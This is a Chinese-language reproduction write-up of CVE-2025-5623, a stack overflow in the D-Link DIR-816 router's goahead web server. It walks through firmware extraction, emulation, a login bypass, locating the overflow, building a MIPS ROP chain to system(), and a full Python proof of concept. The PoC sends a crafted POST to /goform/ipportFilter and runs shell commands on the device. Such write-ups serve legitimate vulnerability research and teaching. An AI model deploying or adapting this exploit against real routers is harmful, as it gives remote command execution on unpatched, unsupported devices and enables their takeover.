DIR-816的用户模拟与栈溢出漏洞复现
CVE-2025-5623
在 D-Link 的 DIR-816 1.10CNB05 设备中发现了一个漏洞,该漏洞已被评定为严重级别。此漏洞影响了文件 /goform/qosClassifier 中的 qosClassifier 功能。对参数 dip_address/sip_address 的操作会导致栈溢出漏洞。有可能通过远程发起攻击。该漏洞的利用方法已向公众公布,并且可能被利用。此漏洞仅影响那些已不再由维护方支持的产品。
启动程序
提取固件
拿到固件,查看是否加密
binwalk -E DIR-816A2_FWv1.10CNB05_R1B011D88210.img
没有加密直接用binwalk提取。
binwalk -Me DIR-816A2_FWv1.10CNB05_R1B011D88210.img
启动项分析
启动项分析是找到系统启动时自动运行的程序、找到能够启动我们程序的Web服务器,通常查看/etc/rcS
脚本。若/etc
找不到,可查看/etc_ro
。常见的Web服务器有httpd
、goahead
、mini_httpd
等。
在启动脚本rcS发现有goahead二进制文件,并且在后台运行程序。
我们现在通过下面的命令找到web服务器。找到bin/goahead。像这种web服务器一般都是二进制文件,在bin目录或者sbin目录下。
grep -ir "goahead"
也可以用firmwalker工具搜集信息
用readelf指令查看一下,goahead是mips架构小端序。
模拟程序
这里有两种模拟方案,手动进行qemu系统模拟或者qemu用户模拟。我们选择qemu用户模拟单个程序,这种方法不需要配置整个系统需要的文件、网卡等,仅需要绕过一些判断环境的程序(因为我们没有完整系统),但是模拟起来的程序缺少一些支撑,后续工作会更困难。
复制qemu-mipsel-static到当前squashfs-root文件系统下
cp $(which qemu-mipsel-static) ./
启动goahead程序
sudo chroot . ./qemu-mipsel-static ./bin/goahead
程序运行报错,没有/dev/nvram文件,选择创建文件解决。
下面还有个goahead.c: cannot open pid file这个错误,我们打开ida分析解决
根据IDA分析,v4等于0,会跳转到报错程序。分析函数,fopen需要打开文件,打不开1就返回0,系统报错是打不开文件,因为我们var/run目录下没有goahead.pid文件,因此我们在他指定的目录下创建一个文件。
继续运行,发现程序一直在等待运行,根据输出信息定位到程序停留的地方
分析一下,函数是while(1),要找到break跳出循环,需要v1等于1。我们同样创建这个指定目录下的文件。
重新启动程序,发现还是有报错,我们继续复制报错内容,在ida里面搜索
动态调试,这里选择修改汇编代码里$v0
的值改变跳转方向
修改完,登录服务就启动了。输入我们本机的ip地址加路径/dir_login.asp就可以进入登录页面
现在我们同样需要绕过账号密码的验证,我们在ida里面找到对应的登录函数。
研究登录逻辑发现只需要账号、密码为空就可以实现登录。
这里有两种处理方式
一种使用burp抓包,修改账户和密码为空,把show_username的值删除
一种还是在ida里面判断账号的地方,下断点修改值,令$v0
=0
这里将修改断点的启动程序整理成一个python脚本,方便多次pwndbg调试。其中登录账号需要在dir_login.asp手动输入任意值并点击登录。
import pexpect
import time
import sys
child = pexpect.spawn('pwndbg ./bin/goahead', encoding='utf-8')
PROMPT = 'pwndbg>'
def send_expect(cmd, expect_prompts=None, delay=0.5, description=None):
if description:
print(f"[*] 执行:{description}")
if expect_prompts is None:
expect_prompts = ['pwndbg>', r'Breakpoint \d+,', r'Continuing\.']
child.sendline(cmd)
try:
index = child.expect(expect_prompts, timeout=30)
time.sleep(delay)
return index
except pexpect.exceptions.TIMEOUT:
print(f"[!] 超时:执行命令 `{cmd}` 后未匹配期望提示符。")
print(f"[!] GDB输出如下(最后200字符):\n{child.before[-200:]}")
sys.exit(1)
def confirm_register_value(reg_name, expected_value):
"""检查寄存器值是否设置成功"""
child.sendline(f'print ${reg_name}')
child.expect(PROMPT)
output = child.before
if str(expected_value) not in output:
print(f"[!] 错误:{reg_name} 设置失败,实际输出:\n{output}")
sys.exit(1)
print(f"[*] 已确认 {reg_name} = {expected_value}")
# 等待 pwndbg 启动
child.expect(PROMPT)
# 调试初始化
send_expect('set architecture mips', description='设置架构为 MIPS')
send_expect('target remote :12346', description='连接 target remote')
send_expect('b *0x0045CDDC', expect_prompts=[r'Breakpoint \d+ at'], description='设置第一个断点')
send_expect('b *0x0045711C', expect_prompts=[r'Breakpoint \d+ at'], description='设置第二个断点')
# 第一次 continue
send_expect('c', description='第一次继续执行程序')
print("[*] 等待 18 秒(程序可能正在启动服务)")
time.sleep(18)
# 第一次 syscall 伪造返回
send_expect('set $v0=0', description='第一次设置 $v0=0')
confirm_register_value('v0', 0)
send_expect('c', description='继续执行以触发登录流程')
print("[*] 等待 3 秒进入登录界面")
time.sleep(3)
# 等待手动登录
input("[*] 登录后请按 Enter 继续……")
# 登录后再次设置寄存器
send_expect('set $v0=0', description='第二次设置 $v0=0')
confirm_register_value('v0', 0)
send_expect('c', description='继续执行以完成登录后操作')
print("[*] 等待 3 秒")
time.sleep(3)
print("[*] 自动调试完成,进入手动交互模式(输入 'e' 退出)")
# 手动交互模式
while True:
try:
user_input = input("(dbg) ")
if user_input.strip().lower() == 'e':
print("[*] 正在退出调试器...")
child.sendline('exit')
break
child.sendline(user_input)
child.expect(PROMPT)
print(child.before.strip())
except KeyboardInterrupt:
print("\n[*] 你按下了 Ctrl+C,可继续输入命令或输入 exit 退出。")
漏洞分析
漏洞情报:在 D-Link 的 DIR-816 1.10CNB05 设备中发现了一个漏洞,该漏洞已被评定为严重级别。此漏洞影响了文件 /goform/qosClassifier 中的 qosClassifier 功能。对参数 dip_address/sip_address的操作会导致栈式缓冲区溢出。有可能通过远程方式发起攻击。该漏洞的利用方法已向公众公布,并且可能被利用。此漏洞仅影响那些已不再由维护方支持的产品。
定位漏洞点:ida搜索sip,定位到sub_44DDE8函数的图示片段,sip和dip的内容被传给v3、v4,且没有检查sip和dip的长度
同一函数sub_44DDE8内,isIpNetmaskValid函数调用v3、v4,在不限制v3、v4大小的情况下,通过strncpy函数复制给空间有限的v20,最终导致栈溢出
定位网络接口:查看sub_44DDE8函数即漏洞函数调用链
ipportFilter即为可用接口
栈溢出测试
打开dbg调试,启动goahead,根据漏洞情报写post包,并且没有验证信息,只有sip_address的值,用超长的A字符触发栈溢出成功
POST /goform/ipportFilter HTTP/1.1
Content-Length: 263
Host: 192.168.206.128
Content-Type: application/x-www-form-urlencoded
Connection: close
&sip_address=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
尝试用字符串"AAAABAAACAAADAAA..."定位
发包如下
POST /goform/ipportFilter HTTP/1.1
Content-Length: 228
Host: 192.168.206.128
Content-Type: application/x-www-form-urlencoded
Connection: close
&sip_address=AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAAZAABBAABCAABDAABEAABFAABGAABHAABIAABJAABKAABLAABMAABNAABOAABPAABQAABRAABSAABTAABUAABVAABWAABXAABYAABZAACBAACCAACDAACE
根据返回地址计算出偏移量为44。
找到一处调用函数片段,地址是0x00432e08,成功控制返回地址,跳转到该函数。
注:如要构造ROP链,需要在链接库找一个高位地址,保证不会因为地址中有0x00片段截断字符串复制payload
构造ROP链访问system函数
尝试构造ROP链。
返回地址选择问题
漏洞函数跳转到我们覆盖的返回地址的代码如下:
.text:00445F98 jr $ra
.text:00445F9C addiu $sp, 0x48
MIPS 延迟槽的“标准”行为:在标准的 MIPS 架构下,jr $ra
后的那一条指令(即延迟槽指令),总会在跳转前被执行一次。
也就是先执行 addiu $sp, $sp, 0x48
,然后跳转到 $ra
,所以$sp
会变为 $sp + 0x48
,这是正常的恢复栈操作。
由于恢复栈操作是结束函数的必要操作,所以绝大部分情况下,返回地址前的栈帧是无法利用的片段,只能用乱码填充。要想控制程序,数据最好在返回地址所在栈帧之后,这就要求返回地址一定不能导致payload覆盖截止。在同一程序里即goahead里找到的地址,如上文0x00432e08是低位地址,/x00/片段导致危险函数strncpy复制截止,后续的数据就无法进入栈帧。一般高位地址可以在链接库找。
链接库基址问题
ROP链需要的函数在一个高位地址的链接库里找,这里遇到一个qemu用户模拟才会遇到的困难,链接库不明确:
首先查看goahead程序的依赖关系,代码如下
readelf -d goahead
但是由于系统没有模拟起来,这几个链接库实际上只是软链接,链接关系如下:
找到libm-0.9.28.so、libnvram-0.9.28.so、libuClibc-0.9.28.so
然后通过pwndbg确定基地址,由于是用户模拟,调试工具并不能确认依赖库信息
指令vmmap
看到链接对应关系不明确
但是链接关系还是存在的,我们运行程序到绕过登录判断的断点,再次vmmap
查询
还是有些数据段不明确,但是我们可以基于Offset=0
的内存段推测,大致判断基地址,整理如下
链接库 | 基地址 |
---|---|
libm-0.9.28.so | 0x406000 |
libnvram-0.9.28.so | 0x3fecb000 |
libuClibc-0.9.28.so | 0x3ff14000 |
libc
是标准C语言库,几乎每个C语言程序都需要依赖它,构造rop链的理想片段一般在这找,libm
是标准数学库,提供高精度的数学函数,libnvram
通常与嵌入式设备的非易失性存储器(NVRAM)相关。这里选择libc.so.0对应的libuClibc-0.9.28.so,后续的ROP链片段都在这里找。
开始构造ROP链
构造ROP链,思路可以从头开始或者从末尾开始。这里我们先考虑选择最终的目的函数,尝试利用system函数,因为如果最终的目的函数没法用,那前面的链条也是没有用的。IDA打开libuClibc-0.9.28.so
,直接搜索system函数,因为正常程序调用的system函数一般都在这定义。
找到system函数的地址,搞懂函数大致逻辑,通过把命令字符串的指针放在a0寄存器传参
计算system函数实际地址,等于链接库基地址加上system函数在链接库的地址,计算得0x3FF5BD20
将返回地址改成0x3FF5BD20,测试一下,结果函数停在一个很奇怪的地方。
原始Socket传输
在跳转位置前,也就是漏洞函数末尾下断点,观察栈空间,发现我们的payload被“撕碎”了
原来的payload大致是,返回地址前后都用规律的cyclic定位
payload = b""
pattern = b'AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAA'
lib_base = 0x3ff14000
payload += pattern[:44]
payload += p32(lib_base + 0x47d20)
payload += pattern[44:76]
根据栈上的数据,从返回地址开始,payload的四字节对齐就被破坏了。而原来测试的返回地址能够正确跳转。问题出在我们的新地址"0x3FF5BD20"上。
经排查,我们发现发送HTTP请求的脚本设置有错误
data = {"sip_address": payload.decode('latin1')} headers["Content-Length"] = str(len(f"sip_address={payload.decode('latin1')}"))
该脚本将原始的二进制数据(bytes)错误地当作文本字符串(string)来处理,并在通过HTTP传输时,触发了一次隐蔽的、破坏性的编码转换,而前文的地址恰好不触发这个问题。
我们改用Socket传输,修正这一问题并避免潜在的问题。相关脚本如下。也有其他解决方式,或者一开始脚本正确就可以避免这个问题。
def send_raw_http_post(payload):
post_data = b"&sip_address=" + payload
http_request = (
f"POST /goform/ipportFilter HTTP/1.1\r\n"
f"Host: 192.168.206.128\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(post_data)}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode() + post_data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect(('192.168.206.128', 80))
sock.send(http_request)
response = sock.recv(4096)
sock.close()
return True
except:
return False
再次试跳转system函数成功。在system函数开头打了断点观察,对比ida看到的汇编代码,可以确定我们计算的地址无误。
继续构造ROP链
解决了跳转system函数的问题。思考一下整个ROP逻辑:调用system函数之前,需要给a0传system函数需要的参数(一个指针指向命令字符串),然后跳转到某个寄存器的地址。我们需要把数据写到寄存器上,但是栈溢出漏洞实际上只能把数据写到栈上,于是,一个自然的想法就是:我们第一步跳转到一个地址,把栈上需要的数据写到寄存器上,如果一次写不全就多写几次。
我们使用MIPSROP查找Gadget,Gadget即构成ROP链的片段。MIPSROP是IDA里面的插件,专门针对MIPS构造ROP链。
第一条指令mipsrop.find("lw")
,搜索把栈上的数据写到寄存器的片段,find里面的字符串就是搜索内容“lw"。
随便看一个搜索结果。搜索提示我们用最后两行,但我们也可以跳到前面多执行几行。这段代码有几个问题,首先,前面几行代码对我们没作用,jalr会产生复杂的变化,一般不用。看到lw $gp
,$gp
寄存器比较特殊,最好不要用它。因此这一Gadget只有最后两行能用。而我们要读栈上的数据,该Gadget读了一个数据到寄存器,但是跳到下一个Gadget又需要消耗一个栈上的数据(一般这个数据无法重复使用),所以这一Gadget做了无用功。
根据上面的思考,我们的第一个Gadget最好能存很多栈上的数据,我们找到以下片段
这段Gadget存了一些栈上的数据,至于够用与否,可以先用着看看。本段作为Gadget1。我们可以发现搜索结果还有个特点:每段Gadget都能控制自己跳转的地址,这也是构成ROP链的基础要求。注意一点,这里的恢复栈操作addiu $sp, 0x30
是会被执行的,如果后续用到栈指针$sp
需要注意这一点。
既然我们把数据存在$s0
、$s1
,我们的目的是控制system函数的参数$a0
同时跳转到system,下一段搜索”lw $a0",恰好看到把$s0
利用起来的片段
跳过去看看
这段刚好把我们的$s0
、$s1
都用上了,那我们直接把$a0
用$s0
传递,然后跳转地址$s1
直接写system地址是否可行呢?自己整理一下几段Gadget,思考一下栈上的数据分布,发现完全可行。本段作为Gadget2,Gadget3即system函数。注意这里把$s0
上的内容作为地址,指向的内容赋给$a0
,而$a0
也是一个指向命令字符串的地址,因此这里有一个地址嵌套。
最后根据需要的数据在栈上的位置构造payload如下
def p32(x):
return struct.pack("<I", x)
def generate_test_payload():
payload = b""
pattern = b'AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAA'
lib_base = 0x3ff14000 #链接库基地址
payload += pattern[:44]
payload += p32(lib_base + 0xb754) #Gadget1地址
payload += pattern[44:76]
payload += p32(0x407ff5d0) #s0 指向栈地址stack1
payload += p32(lib_base + 0x47d20) #s1 system地址
payload += p32(0x41414141) #s2
payload += p32(lib_base + 0x31b20) #Gadget2地址 在Gadget1被传给$ra
payload += p32(0x407ff5d4) #栈地址stack1 指向栈地址stack2
payload += pattern[76:84] #填充字节 使命令结束在空白栈
payload += b"touch /tmp/pwned\x00" #栈地址stack2 存储system命令
return payload
复现成功!
最后附上完整的POC:
import struct
import socket
def p32(x):
return struct.pack("<I", x)
def generate_test_payload():
payload = b""
#pattern = b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
pattern = b'AAAABAAACAAADAAAEAAAFAAAGAAAHAAAIAAAJAAAKAAALAAAMAAANAAAOAAAPAAAQAAARAAASAAATAAAUAAAVAAAWAAAXAAAYAAA'
lib_base = 0x3ff14000
payload += pattern[:80]
payload += p32(lib_base + 0xb754)
payload += p32(0x407ff5d0)
payload += p32(lib_base + 0x47d20)
payload += p32(0x41414141)
payload += p32(lib_base + 0x31b20)
payload += p32(0x407ff5dc)
payload += pattern[76:84]
payload += b"echo 1;tee /tmp/pwnnn"
return payload
def send_raw_http_post(payload):
post_data = b"&sip_address=" + payload
http_request = (
f"POST /goform/ipportFilter HTTP/1.1\r\n"
f"Host: 192.168.206.128\r\n"
f"Content-Type: application/x-www-form-urlencoded\r\n"
f"Content-Length: {len(post_data)}\r\n"
f"Connection: close\r\n"
f"\r\n"
).encode() + post_data
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(10)
sock.connect(('192.168.206.128', 80))
sock.send(http_request)
response = sock.recv(4096)
sock.close()
return True
except:
return False
def main():
payload = generate_test_payload()
success = send_raw_http_post(payload)
if __name__ == "__main__":
main()
后记
我们栈溢出没法控制栈上的数据以/x00/结束,因此touch /tmp/pwned
命令会把后面非我们控制的栈数据也当成文件名,造成乱码,如下图,笔者通过选择一块全零的栈空间存储我们payload末尾来解决这一问题。如果没有这种空间,想要解决这一问题需要在rop链插一段或者多段向栈空间写零的Gadget。